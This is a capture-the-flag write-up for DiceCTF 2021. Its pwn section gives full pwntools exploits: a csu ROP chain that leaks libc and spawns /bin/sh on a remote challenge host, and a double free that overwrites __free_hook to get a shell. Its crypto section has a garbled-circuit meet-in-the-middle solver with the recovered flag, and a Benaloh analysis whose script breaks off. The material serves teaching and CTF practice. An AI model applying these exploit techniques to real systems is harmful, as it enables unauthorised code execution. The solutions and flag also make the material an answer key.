Introduction

This is a small write up and recurrence for 2021DiceCTF.

Pwn

babyrop

Analysis

Just a stack overflow and use csu to solve it. Notice that some registers are different for csu.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

LOCAL = 0
DEBUG = 0
if LOCAL:
    r = process("./babyrop")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    write_offset = libc.sym["write"]
    system_offset = libc.sym["execve"]
else:
    r = remote("dicec.tf",31924)   
    write_offset = 0x1111d0 
    system_offset = 0xe62f0

if DEBUG:
    gdb.attach(r,"b *0x40116B")

elf = ELF('./babyrop')
main_addr = 0x401136
write_got = elf.got['write']
gets_got = elf.got['gets']
csu_front_addr = 0x4011B0
csu_end_addr = 0x4011CA
bss = 0x404038

def csu(rbx, rbp, r12, r13, r14, r15, last, offset):
    payload = 'a' * offset + "b" * 0x8
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    r.recvuntil("Your name: ")
    r.sendline(payload)
    sleep(1)

csu(0,1,1,write_got,8,write_got,main_addr,0x40)
write_addr = u64(r.recv(8))
success("write_addr: " + hex(write_addr))
libc_base = write_addr - write_offset 
success("libc_base: " + hex(libc_base))
system_addr = libc_base + system_offset
csu(0,1,bss + 0x100,0,16,gets_got,main_addr,0x40)
r.sendline(p64(system_addr) + "/bin/sh\x00")
csu(0,1,bss + 0x108,0,0,bss + 0x100,main_addr,0x40)

r.interactive()

flippidy

This writeup is referenced from TeamRocketIST

Analysis

This is a no-PIE program. 

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

The main function asks for the size of note list. (The 8 * size can be overflowed, such as 0x20010000, and you can write a heap address to libc or ld, but can’t leak anything and keep going…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int choice; // [rsp+Ch] [rbp-4h]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  welcome();
  printf("%s", "To get started, first tell us how big your notebook will be: ");
  size = read_int();
  chunk_head = malloc(8 * size);
  memset(chunk_head, 0, 8 * size);
  while ( 1 )
  {
    menu();
    printf(": ", 0LL);
    choice = read_int();
    if ( choice == 3 )
    {
      puts("Goodbye!");
      exit(0);
    }
    if ( choice > 3 )
    {
LABEL_11:
      puts("Invalid choice.");
    }
    else if ( choice == 1 )
    {
      add();
    }
    else
    {
      if ( choice != 2 )
        goto LABEL_11;
      flip();
    }
  }
}

Choice 1 can add a 0x30 chunk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int add()
{
  void **v1; // rbx
  int idx; // [rsp+Ch] [rbp-14h]

  printf("Index: ");
  idx = read_int();
  if ( idx < 0 || idx >= size )
    return puts("Invalid index.");
  v1 = (void **)((char *)chunk_head + 8 * idx);
  *v1 = malloc(0x30uLL);
  printf("Content: ");
  return (unsigned __int64)fgets(*((char **)chunk_head + idx), 0x30, stdin);
}

Choice 2 can flip the note list.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
unsigned __int64 flip()
{
  void **v0; // rbx
  void **v1; // rbx
  char flag1; // [rsp+Ah] [rbp-A6h]
  char flag2; // [rsp+Bh] [rbp-A5h]
  int i; // [rsp+Ch] [rbp-A4h]
  char src; // [rsp+10h] [rbp-A0h]
  char dst; // [rsp+50h] [rbp-60h]
  unsigned __int64 v8; // [rsp+98h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  for ( i = 0; i <= size / 2; ++i )
  {
    memset(&src, 0, 0x40uLL);
    memset(&dst, 0, 0x40uLL);
    flag1 = 0;
    flag2 = 0;
    if ( *((_QWORD *)chunk_head + i) )
    {
      strcpy(&src, *((const char **)chunk_head + i));
      free(*((void **)chunk_head + i));
    }
    else
    {
      flag1 = 1;
    }
    if ( *((_QWORD *)chunk_head + size - i - 1) )
    {
      strcpy(&dst, *((const char **)chunk_head + size - i - 1));
      free(*((void **)chunk_head + size - i - 1));
    }
    else
    {
      flag2 = 1;
    }
    *((_QWORD *)chunk_head + i) = 0LL;
    *((_QWORD *)chunk_head + size - i - 1) = 0LL;
    if ( flag1 == 1 )
    {
      *((_QWORD *)chunk_head + size - i - 1) = 0LL;
    }
    else
    {
      v0 = (void **)((char *)chunk_head + 8 * (size - i) - 8);
      *v0 = malloc(0x30uLL);
      strcpy(*((char **)chunk_head + size - i - 1), &src);
    }
    if ( flag2 == 1 )
    {
      *((_QWORD *)chunk_head + i) = 0LL;
    }
    else
    {
      v1 = (void **)((char *)chunk_head + 8 * i);
      *v1 = malloc(0x30uLL);
      strcpy(*((char **)chunk_head + i), &dst);
    }
  }
  return v8 - __readfsqword(0x28u);
}

If we set size as 1, and add a chunk. Then when we flip the note list, there will have a double free. We can use menu to leak libc because it use some pointers to show menu.

1
2
3
4
5
6
7
8
9
10
int menu()
{
  int result; // eax
  signed int i; // [rsp+Ch] [rbp-4h]

  result = puts("\n");
  for ( i = 0; i <= 3; ++i )
    result = puts(menu_str[i]);
  return result;
}
1
2
3
4
5
6
7
.data:0000000000404020 menu_str        dq offset aMenu         ; DATA XREF: menu+2A↑o
.data:0000000000404020                                         ; "----- Menu -----"
.data:0000000000404028                 dq offset a1AddToYourNote ; "1. Add to your notebook"
.data:0000000000404030                 dq offset a2FlipYourNoteb ; "2. Flip your notebook!"
.data:0000000000404038                 dq offset a3Exit        ; "3. Exit"
.data:0000000000404040 aMenu           db '----- Menu -----',0 ; DATA XREF: .data:menu_str↑o
.data:0000000000404051                 db    0

When we have libc base, we can write one gadget to free_hook and getshell.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

DEBUG = 0

r = process("./flippidy")
elf = ELF("./flippidy")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
menu_addr = 0x404020
puts_got = elf.got["puts"]
chunk_list = 0x404158

def cmd(idx):
    r.sendlineafter(": ",str(idx))

def add(idx,content):
    cmd(1)
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Content: ",content)

def flip():
    cmd(2)

if DEBUG:
    gdb.attach(r,"b *0x401749")

size = 1
r.recvuntil("To get started, first tell us how big your notebook will be:")
r.sendline(str(size))

add(0,p64(menu_addr))
flip() # double free
payload = p64(puts_got) * 4
payload += p64(chunk_list)
add(0,payload)
r.recvuntil("\x0a\x0a")
libc_base = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - libc.sym["puts"]
success("libc_base : " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook : " + hex(free_hook))
one_gadget = libc_base + 0x4f3c2
success("one_gadget : " + hex(one_gadget))

# 0x404040 -> 0x404158 -> 0x59f260 -> 0x404020 -> puts_got -> ...
add(0,p64(0xdeadbeef))

# 0x404158 -> 0x59f260 -> 0x404040 -> 0xdeadbeef
add(0,p64(free_hook))

# 0x59f260 -> 0x404158 -> free_hook
add(0,p64(0xdeadbeef))

# 0x404158 -> free_hook -> 0x59f260 -> 0xdeadbeef
add(0,p64(free_hook))

# free_hook -> 0x404158 -> free_hook -> ...
add(0,p64(one_gadget))

flip() # get shell

r.interactive()

Crypto

garbled

This writeup is referenced from Joseph

Analysis

This is a Garbled Circuit challenge. We should recover the inputs to get flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# obtain_flag.py
"""
once you've found the input labels which make the circuit return `true`,
then concatenate them together, hash them,
and xor with the provided string to obtain the flag
"""

import hashlib
import json

from yao import evaluate_circuit
from public_data import g_tables
from private_data import keys, flag


def xor(A, B):
    return bytes(a ^ b for a, b in zip(A, B))


##########################################################


circuit_filename = "circuit.json"
with open(circuit_filename) as json_file:
    circuit = json.load(json_file)
    

# ?????????????????
inputs = {
 1: ?????????????????,
 2: ?????????????????,
 3: ?????????????????,
 4: ?????????????????
}


evaluation = evaluate_circuit(circuit, g_tables, inputs)

# circuit should return `true`
for i in circuit['outputs']:
    assert evaluation[i] == keys[i][1]


##########################################################


msg = "{}:{}:{}:{}".format(inputs[1], inputs[2], inputs[3], inputs[4])
msg = msg.encode('ascii')

m = hashlib.sha512()
m.update(msg)
m.digest()

xor_flag = b'\x90),u\x1b\x1dE:\xa8q\x91}&\xc7\x90\xbb\xce]\xf5\x17\x89\xd7\xfa\x07\x86\x83\xfa\x9b^\xcb\xd77\x00W\xca\xceXD7'


print( xor(m.digest(), xor_flag) )

assert xor(m.digest(), xor_flag) == flag

The circuit is as follow:

1
2
3
4
5
6
7
8
9
{
    "inputs" : [1, 2, 3, 4],
    "outputs"   : [7],
    "gates" : [
        {"id" : 5, "type" : "AND", "in" : [1, 2]},
        {"id" : 6, "type" : "AND", "in" : [3, 4]},
        {"id" : 7, "type" : "AND", "in" : [5, 6]}
    ]
}

The g_tables is as follow:

1
2
3
4
5
6
7
8
9
10
11
12
g_tables = {5: [(5737111, 2983937),
  (15406556, 16284948),
  (14172222, 14132908),
  (4000971, 16383744)],
 6: [(8204186, 1546264),
  (229766, 3208405),
  (9550202, 13483954),
  (13257058, 5195482)],
 7: [(1658768, 11512735),
  (1023507, 9621913),
  (7805976, 1206540),
  (2769364, 9224729)]}

The evaluate_circuit function is in yao.py, it uses the circuit, g_tables and inputs to update the keys and evaluated the gates, and the evaluate_gate function use decrypt function to get lable and validation, if validation == 0 it will return the label, if no label return it will rasie an error.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# yao.py
def evaluate_gate(garbled_table, key0, key1):
    """
    Return the output label unlocked by the two input labels,
    or raise a ValueError if no entry correctly decoded
    """
    for g in garbled_table:
        gl, v = g
        label = decrypt(gl, key0, key1)
        validation = decrypt(v, key0, key1)
        
        if validation == 0:
            return label
        
    raise ValueError("None of the gates correctly decoded; invalid input labels")


def evaluate_circuit(circuit, g_tables, inputs):
    """
    Evaluate yao circuit with given inputs.
    
    Keyword arguments:
    circuit   -- dict containing circuit spec
    g_tables  -- garbled tables of yao circuit
    inputs  -- dict mapping wires to labels
    
    Returns:
    evaluation -- a dict mapping output wires to the result labels
    """
    gates        = circuit["gates"] # dict containing circuit gates
    wire_outputs = circuit["outputs"]   # list of output wires
    wire_inputs  = {}               # dict containing Alice and Bob inputs
    evaluation   = {}               # dict containing result of evaluation

    wire_inputs.update(inputs)
    
    # Iterate over all gates
    for gate in sorted(gates, key=lambda g: g["id"]):
        gate_id, gate_in = gate["id"], gate["in"]

        key0 = wire_inputs[gate_in[0]]
        key1 = wire_inputs[gate_in[1]]
        
        garbled_table = g_tables[gate_id]
        msg = evaluate_gate(garbled_table, key0, key1)
        
        wire_inputs[gate_id] = msg

    # After all gates have been evaluated, we populate the dict of results
    for out in wire_outputs:
        evaluation[out] = wire_inputs[out]

    return evaluation

The decrypt function is in block_cipher.py, it is an easy SPN block cipher:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# block_cipher.py
def S(block, SBoxes):
    output = 0
    for i in range(0, len(SBoxes)):
        output |= SBoxes[i][(block >> 4*i) & 0b1111] << 4*i

    return output

def permute(block, pbox):
    output = 0
    for i in range(24):
        bit = (block >> pbox[i]) & 1
        output |= (bit << i)
    return output

def decrypt_data(block, key):
    
    block ^= key
    
    for j in range(0, 3):
        block = permute(block, PInvBox)
        block = S(block, SInvBoxes)
        block ^= key

    return block

def decrypt(data, key1, key2):
    decrypted = decrypt_data(data, key2)
    decrypted = decrypt_data(decrypted, key1)
    return decrypted

So we can know the inputs is 24-bit. But these infomations are not enough for us to solve this challenge.
Let take a look at evaluate_garbled_circuit_example.py, it gives us an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
"""
# evaluate_garbled_circuit_example.py
This file is provided as an example of how to load the garbled circuit
and evaluate it with input key labels.

Note: the ACTUAL `g_tables` for this challenge are in `public_data.py`, and are not used in this example.

It will error if the provided inputs are not valid label keys,
ie do not match either of the `keys` made by `generate_garbled_circuit.py`
"""

import json

from yao import evaluate_circuit
from generate_garbled_circuit import g_tables, keys


circuit_filename = "circuit.json"
with open(circuit_filename) as json_file:
    circuit = json.load(json_file)
        

inputs = {}
for i in circuit["inputs"]:
    v = keys[i][1]
    inputs[i] = v

evaluation = evaluate_circuit(circuit, g_tables, inputs)
print("")
print(evaluation)

The generate_garbled_circuit.py is as follows, it use GarbledCircuit and circuit to generate the g_tables and keys:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# generate_garbled_circuit.py
from yao import GarbledCircuit
import json


circuit_filename = "circuit.json"
with open(circuit_filename) as json_file:
    circuit = json.load(json_file)

# creates a new garbled circuit each time
gc = GarbledCircuit(circuit)

g_tables = gc.get_garbled_tables()
keys = gc.get_keys()


print("g_tables = {}".format(repr(g_tables)))
print("\nkeys = {}".format(repr(keys)))

And let take a look at GarbledCircuit and GarbledGate in yao.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# yao.py
def garble_label(key0, key1, key2):
    """
    key0, key1 = two input labels
    key2 = output label
    """
    gl = encrypt(key2, key0, key1)
    validation = encrypt(0, key0, key1)
    return (gl, validation)

class GarbledGate:
    """A representation of a garbled gate.
    Keyword arguments:
    gate  -- dict containing gate spec
    keys  -- dict mapping each wire to a pair of keys
    """

    def __init__(self, gate, keys):
        self.keys                = keys          # dict of yao circuit keys
        self.input               = gate["in"]    # list of inputs' ID
        self.output              = gate["id"]    # ID of output
        self.gate_type           = gate["type"]  # Gate type: OR, AND, ...
        self.garbled_table       = {}            # The garbled table of the gate

        labels0 = keys[self.input[0]]
        labels1 = keys[self.input[1]]
        labels2 = keys[self.output]
        
        if self.gate_type == "AND":
            self.garbled_table = self._gen_garbled_AND_gate(labels0, labels1, labels2)
        else:
            raise NotImplementedError("Gate type `{}` is not implemented".format(self.gate_type))


    def _gen_garbled_AND_gate(self, labels0, labels1, labels2):
        """
        labels0, labels1 = two input labels
        labels2 = output label
        """
        key0_0, key0_1 = labels0
        key1_0, key1_1 = labels1
        key2_0, key2_1 = labels2
        
        G = []
        G.append(garble_label(key0_0, key1_0, key2_0))
        G.append(garble_label(key0_0, key1_1, key2_0))
        G.append(garble_label(key0_1, key1_0, key2_0))
        G.append(garble_label(key0_1, key1_1, key2_1))
        # randomly shuffle the table so you don't know what the labels correspond to
        shuffle(G)
        
        return G


    def get_garbled_table(self):
        """Return the garbled table of the gate."""
        return self.garbled_table

class GarbledCircuit:
    """
    A representation of a garbled circuit.
    Keyword arguments:
    circuit -- dict containing circuit spec
    """

    def __init__(self, circuit):
        self.circuit        = circuit
        self.gates          = circuit["gates"]  # list of gates
        self.wires          = set()             # list of circuit wires

        self.keys           = {}  # dict of keys
        self.garbled_tables = {}  # dict of garbled tables

        # Retrieve all wire IDs from the circuit
        for gate in self.gates:
            self.wires.add(gate["id"])
            self.wires.update(set(gate["in"]))
        self.wires = list(self.wires)

        self._gen_keys()
        self._gen_garbled_tables()


    def _gen_keys(self):
        """Create pair of keys for each wire."""
        for wire in self.wires:
            self.keys[wire] = (
                    generate_random_label(),
                    generate_random_label()
                    )

    def _gen_garbled_tables(self):
        """Create the garbled table of each gate."""
        for gate in self.gates:
            garbled_gate = GarbledGate(gate, self.keys)
            self.garbled_tables[gate["id"]] = garbled_gate.get_garbled_table()

    def get_garbled_tables(self):
        """Return dict mapping each gate to its garbled table."""
        return self.garbled_tables

    def get_keys(self):
        """Return dict mapping each wire to its pair of keys."""
        return self.keys

So we know the relationship between the keys and g_tables:
Assume the input labels(keys) are [[a0,a1],[b0,b1]], and the output lable(key) is [c0,c1], the g_tables are [[l0,v0],[l1,v1],[l2,v2],[l3,v3]], so we can get:

1
2
3
4
5
6
7
enc = [
    encrypt[c0,a0,b0],encrypt[0,a0,b0],
    encrypt[c0,a0,b1],encrypt[0,a0,b1],
    encrypt[c0,a1,b0],encrypt[0,a1,b0],
    encrypt[c1,a1,b1],encrypt[0,a1,b1],
    ]
[[l0,v0],[l1,v1],[l2,v2],[l3,v3]] = random_suffle(enc)

And the Garbled Circuit combine these output lable as input lables to generate more output lable until end.

We have the early inputs lables and g_tables, so we can use MITM to attack the Garbled Circuit with validation. And brute the order before random suffle. So we can recover the keys and finally get the flag.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
// exp.c
#include<iostream>
#include<unordered_map>
#include<vector>
using namespace std;

unsigned int SBoxes[6][16] = {{15, 1, 7, 0, 9, 6, 2, 14, 11, 8, 5, 3, 12, 13, 4, 10}, {3, 7, 8, 9, 11, 0, 15, 13, 4, 1, 10, 2, 14, 6, 12, 5}, {4, 12, 9, 8, 5, 13, 11, 7, 6, 3, 10, 14, 15, 1, 2, 0}, {2, 4, 10, 5, 7, 13, 1, 15, 0, 11, 3, 12, 14, 9, 8, 6}, {3, 8, 0, 2, 13, 14, 5, 11, 9, 1, 7, 12, 4, 6, 10, 15}, {14, 12, 7, 0, 11, 4, 13, 15, 10, 3, 8, 9, 2, 6, 1, 5}};
unsigned int SInvBoxes[6][16] = {{3, 1, 6, 11, 14, 10, 5, 2, 9, 4, 15, 8, 12, 13, 7, 0}, {5, 9, 11, 0, 8, 15, 13, 1, 2, 3, 10, 4, 14, 7, 12, 6}, {15, 13, 14, 9, 0, 4, 8, 7, 3, 2, 10, 6, 1, 5, 11, 12}, {8, 6, 0, 10, 1, 3, 15, 4, 14, 13, 2, 9, 11, 5, 12, 7}, {2, 9, 3, 0, 12, 6, 13, 10, 1, 8, 14, 7, 11, 4, 5, 15}, {3, 14, 12, 9, 5, 15, 13, 2, 10, 11, 8, 4, 1, 6, 0, 7}};
unsigned int PBox[] = {13, 3, 15, 23, 6, 5, 22, 21, 19, 1, 18, 17, 20, 10, 7, 8, 12, 2, 16, 9, 14, 0, 11, 4};
unsigned int PInvBox[] = {21, 9, 17, 1, 23, 5, 4, 14, 15, 19, 13, 22, 16, 0, 20, 2, 18, 11, 10, 8, 12, 7, 6, 3};

unordered_map<unsigned int, unsigned int>  middle_data;

unsigned int S(unsigned int block, unsigned int SBoxes[6][16]){
    unsigned int output = 0;
    for(int i = 0; i < 6; i++){
        output |= SBoxes[i][(block >> 4 * i) & 0b1111] << 4 * i;
    }
    return output;
}
    
unsigned int permute(unsigned int block, unsigned int pbox[]){
    unsigned int output = 0;
    unsigned int bit = 0;
    for(int i = 0; i < 24; i++){
        bit = (block >> pbox[i]) & 1;
        output |= (bit << i);
    }
    return output;
}

unsigned int encrypt_data(unsigned int block, unsigned int key){
    unsigned int res = block;
    for(int i = 0; i < 3; i++){
        res ^= key;
        res = S(res, SBoxes);
        res = permute(res,PBox);
    }
    res ^= key;
    return res;
}

unsigned int decrypt_data(unsigned int block, unsigned int key){
    unsigned int res = block;
    res ^= key;
    for(int i = 0; i < 3; i++){
        res = permute(res, PInvBox);
        res = S(res, SInvBoxes);
        res ^= key;
    }
    return res;
}

unsigned int encrypt(unsigned int block, unsigned int key1, unsigned int key2){
    unsigned int res = block;
    res = encrypt_data(res, key1);
    res = encrypt_data(res, key2);
    return res;
}

unsigned int decrypt(unsigned int block, unsigned int key1, unsigned int key2){
    unsigned int res = block;
    res = decrypt_data(res, key2);
    res = decrypt_data(res, key1);
    return res;
}

void init_middle_data(){
    cout << "Init middle data" << endl;
    unsigned int enc = 0;
    for(unsigned int i = 0; i < 0x1000000; i++){
        enc = encrypt_data(0,i);
        if(middle_data.find(enc) == middle_data.end()){
            middle_data.insert(pair<unsigned int, unsigned int>(enc,i));
        }
        else{
            unsigned int count = 0;
            unsigned int tmp = 0;
            do{
                count++;
                tmp = count << 24 | enc;
            }while(middle_data.find(tmp) != middle_data.end());
            middle_data.insert(pair<unsigned int, unsigned int>(tmp,i));
        }
    }
}

unordered_map<unsigned int, unsigned int> find_possible_key(unsigned int t){
    cout << "Find possible keys for " << t << endl;
    unordered_map<unsigned int, unsigned int> result;
    unsigned int dec = 0;
    for(unsigned int i = 0; i < 0x1000000; i++){
        unsigned int dec_count = 0;
        dec = decrypt_data(t,i);
        unsigned int dec_tmp = dec;
        while(middle_data.find(dec) != middle_data.end()){
            unsigned int key = i;
            if(result.find(key) == result.end()){
                result.insert(pair<unsigned int, unsigned int>(key,middle_data[dec]));
            }
            else{
                unsigned int count = 0;
                unsigned int tmp;
                do{
                    count++;
                    tmp = count << 24 | key;
                }while(result.find(tmp) != result.end());
                result.insert(pair<unsigned int, unsigned int>(tmp,middle_data[dec]));
            }
            dec_count++;
            dec = dec_count << 24 | dec_tmp;
        }
    }
    return result;
}

unsigned int recover_key_part2(vector< unordered_map<unsigned int, unsigned int> > possible_keys,vector<unsigned int>enc_labels,unsigned int a0,unsigned int b0,int idxi,int idxj){
    unordered_map<unsigned int, unsigned int> choice_keys;
    unsigned int c, c1, b1, a00;
    for(int i = 0; i < 4; i++){
        if(i == idxi || i == idxj) continue;
        choice_keys = possible_keys[i];
        c = enc_labels[i];
        c1 = enc_labels[idxi];
        for(auto iter = choice_keys.begin(); iter != choice_keys.end(); ++iter){
            b1 = iter->first;
            if(b1 > 0x1000000) continue;
            unsigned int dec_b1 = b1;
            unsigned int count = 0;
            while(choice_keys.find(b1) != choice_keys.end()){
                a00 = choice_keys[b1];
                if(a0 == a00 && decrypt(c,a0,dec_b1) == decrypt(c1,a0,b0)){
                    return dec_b1;
                }
                count++;
                b1 = count << 24 | dec_b1;
            }
        }
    }
    return 0;
}

bool recover_key(vector< unordered_map<unsigned int, unsigned int> > possible_keys,vector<unsigned int>enc_labels){
    unordered_map<unsigned int, unsigned int>  choice_keys, choice_keys2;
    unsigned int c1, b0, a0, p1, c2, a1, b1;
    for(int i = 0; i < 4; i++){
        cout << "Recover key " << i << endl;
        choice_keys = possible_keys[i];
        c1 = enc_labels[i];
        for(int j = 0; j < 4; j++){
            if(i == j) continue;
            choice_keys2 = possible_keys[j];
            c2 = enc_labels[j];
            for(auto iter = choice_keys.begin(); iter != choice_keys.end(); ++iter){
                b0 = iter->first;
                if(b0 >= 0x1000000) continue;
                unsigned int count = 0;
                unsigned int dec_b0 = b0;
                while(choice_keys.find(b0) != choice_keys.end()){
                    a0 = choice_keys[b0];
                    p1 = decrypt(c1, a0, dec_b0);
                    unsigned int b0_tmp = dec_b0;
                    unsigned int count_tmp = 0;
                    while(choice_keys2.find(b0_tmp) != choice_keys2.end()){
                        a1 = choice_keys2[b0_tmp];
                        if(p1 == decrypt(c2,a1,dec_b0)){
                            b1 = recover_key_part2(possible_keys,enc_labels,a0,dec_b0,i,j);
                            if(b1 != 0){
                                cout << "Find keys : a1 = " << a1 << ", b1 = " << b1 << endl;
                                return true;
                            }
                        }
                        count_tmp++;
                        b0_tmp = count_tmp << 24 | dec_b0;
                    }
                    count++;
                    b0 = count << 24 | dec_b0;
                }
            }
        }
    }
    return false;
}


unsigned int g_tables[2][4][2] = {{{5737111L, 2983937L},{15406556L, 16284948L},{14172222L, 14132908L},{4000971L, 16383744L}},{{8204186L, 1546264L},{229766L, 3208405L},{9550202L, 13483954L},{13257058L, 5195482L}}};

int main(){
    init_middle_data();
    for(int i = 0; i < 2; i++){
        vector< unordered_map<unsigned int, unsigned int> > possible_keys(4);
        vector<unsigned int>enc_labels(4);
        for(int j = 0; j < 4; j++){
            possible_keys[j] = find_possible_key(g_tables[i][j][1]);
            enc_labels[j] = g_tables[i][j][0];
        }
        recover_key(possible_keys,enc_labels);
    }

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# exp.py
import hashlib

def xor(A, B):
    return bytes(a ^ b for a, b in zip(A, B))

inputs = {
    1: 11693387,
    2: 11338704,
    3: 7371799,
    4: 2815776
}
msg = "{}:{}:{}:{}".format(inputs[1], inputs[2], inputs[3], inputs[4])
msg = msg.encode('ascii')

m = hashlib.sha512()
m.update(msg)
m.digest()

xor_flag = b'\x90),u\x1b\x1dE:\xa8q\x91}&\xc7\x90\xbb\xce]\xf5\x17\x89\xd7\xfa\x07\x86\x83\xfa\x9b^\xcb\xd77\x00W\xca\xceXD7'

flag = xor(m.digest(),xor_flag)
print(flag)
# dice{N0w_YoUr3_Th1nkIn6_Wi7H_pR0t0c015}

benaloh

This writeup is referenced from defund

Analysis

This is a Benaloh cryptosystem challenge, the code is short:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# benaloh
from Crypto.Random.random import randrange
from Crypto.Util.number import getPrime, GCD

r = 17

def keygen():
	while True:
		p = getPrime(1024)
		a, b = divmod(p-1, r)
		if b == 0 and GCD(r, a) == 1:
			break
	while True:
		q = getPrime(1024)
		if GCD(r, q-1) == 1:
			break
	n = p*q
	phi = (p-1)*(q-1)//r
	y = 1
	while True:
		y = randrange(n)
		x = pow(y, phi, n)
		if x != 1:
			break
	log = {pow(x, i, n): i for i in range(r)}
	return (n, y), (n, phi, log)

def encrypt(data, pk):
	n, y = pk
	u = randrange(n)
	a = randrange(n)
	c = randrange(n)
	for m in data.hex():
		yield pow(y, int(m, 16), n) * pow(u, r, n) % n
		u = (a*u + c) % n

def decrypt(data, sk):
	n, phi, log = sk
	return bytes.fromhex(''.join(f'{log[pow(z, phi, n)]:x}' for z in data))

if __name__ == '__main__':
	from local import flag
	pk, sk = keygen()
	print(pk)
	for z in encrypt(flag, pk):
		print(z)

The block size is r = 17, we have public key and encrypted flag. But different from the standard Benaloh cryptosystem, the nonce of this challenge is generated with LCG. But we don’t know a,u,c.

So what can we do? Focus on the encrypted flag, also called z in this challenge. We can write its expression:

1
2
z_i = (y ** m * u_i ** r) % n
u_i = (a * u_(i-1) + c) % n

If we have more z-m pair, then we can construct some multivariate polynomials with unkowned u,a,c, use Gröbner basis reduction to help us for finding roots. It also preserves some key properties about the original set. In sagemath the output just like this:

1
[c^17 + 13458759594676198214694259395597811037811941351192625227467096501437492626016103500732912703741531580440688721418838601356917454469197042860724974820711811807100911025568783389529011375041774037357224005532374737711385620250882965751966936631506501563981475218917679272036145000202705372625367221715684331874911123897488465876418098777295294085721730060353781081936511989823993750197757906274895327225414708735228502620853964519743121169419595741484437884476968407623319417909836503756421684133026872563003628309754191206638310830457160948939228910390136165954060484629537550098482941917500740029457719651678576263154, u + 316517663849777910225660080408784696167924695113642531974131497480910378366220174342126802849049539663694903310250609244514828218236832782037217816236893097704270918578097042085736644370848172633750954486260895306171096242584274887827086225061772333809429993942553814439329476648071612609884623299988660650179852653163795008516189222405687351351109996651789580351715791017438004730807486178553378753383208033005732492151858373741617384858699269732745326858016880380595482272818312327147435234514885344494904297204434448240694768364394802707422951925732088102047687537430858233649919876359703515785224783225069089980*c, a + 1661216876440720795949971760316375297223780761108674238540808158213078980164656368815536594328510194746888627111987313473237775055677284466208525500885764198070567384544945702715900113900083864927826969971664844458658182797143288816769247910804809014527517142248172045349023280003970829981831679105885916798790488166987740245714277585192487684558508003531661909679977119963644699703649749483269350109143839889546691324949566145320193582552061487407920959141668364668452895857576184480913586198770372641315376888430566581697787292145901485440997213094118917877437294945649019459331559374549028782748215151722129896006]

We can use these informations to help us for solving this challenge and finally get the flag.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# exp.sage
from Crypto.Util.number import * 

flag_head = b"dice{"
